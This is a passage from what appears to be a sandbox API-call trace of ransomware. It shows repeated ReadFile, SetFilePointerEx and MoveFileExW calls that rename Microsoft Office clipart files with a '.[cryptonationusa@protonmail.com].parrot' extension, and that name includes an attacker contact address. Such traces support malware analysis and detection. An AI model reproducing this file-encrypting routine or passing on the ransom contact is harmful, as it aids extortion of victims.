lpNewFilePointer=0xffffffff) returned 1 [0129.041] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.042] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.042] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x804, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x804, lpOverlapped=0x0) returned 1 [0129.043] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.043] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.046] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.046] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.047] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.047] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15cc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15cc, lpOverlapped=0x0) returned 1 [0129.048] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.048] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.051] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.051] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.061] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.062] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdc4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xdc4, lpOverlapped=0x0) returned 1 [0129.062] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.066] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.066] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.067] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.068] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9b8, lpOverlapped=0x0) returned 1 [0129.068] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.068] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.071] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.071] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.073] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.073] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x68c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x68c, lpOverlapped=0x0) returned 1 [0129.073] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.077] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.077] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.087] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.087] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf38, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf38, lpOverlapped=0x0) returned 1 [0129.087] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.088] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.091] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.091] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.092] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.093] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xed4, lpOverlapped=0x0) returned 1 [0129.093] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.096] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.096] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.098] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.098] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x984, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x984, lpOverlapped=0x0) returned 1 [0129.098] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.098] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.101] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.101] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.102] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.103] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xaac, lpOverlapped=0x0) returned 1 [0129.103] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.106] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.106] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.108] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.108] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c08, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c08, lpOverlapped=0x0) returned 1 [0129.108] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.111] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.111] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.113] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.113] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xda6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xda6, lpOverlapped=0x0) returned 1 [0129.113] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.116] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.116] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.118] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.118] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a94, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3a94, lpOverlapped=0x0) returned 1 [0129.119] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.122] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.122] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.123] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.123] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x752, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x752, lpOverlapped=0x0) returned 1 [0129.124] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.126] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.126] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.128] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.128] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf6c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf6c, lpOverlapped=0x0) returned 1 [0129.128] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.131] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.131] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.133] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.133] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x292a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x292a, lpOverlapped=0x0) returned 1 [0129.134] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.134] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.137] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.137] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.138] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.138] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x108c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x108c, lpOverlapped=0x0) returned 1 [0129.139] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.142] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.142] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.185] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.185] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x246a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x246a, lpOverlapped=0x0) returned 1 [0129.186] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.186] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.190] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0129.190] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0129.192] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.192] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xdec, lpOverlapped=0x0) returned 1 [0129.192] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0129.196] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: 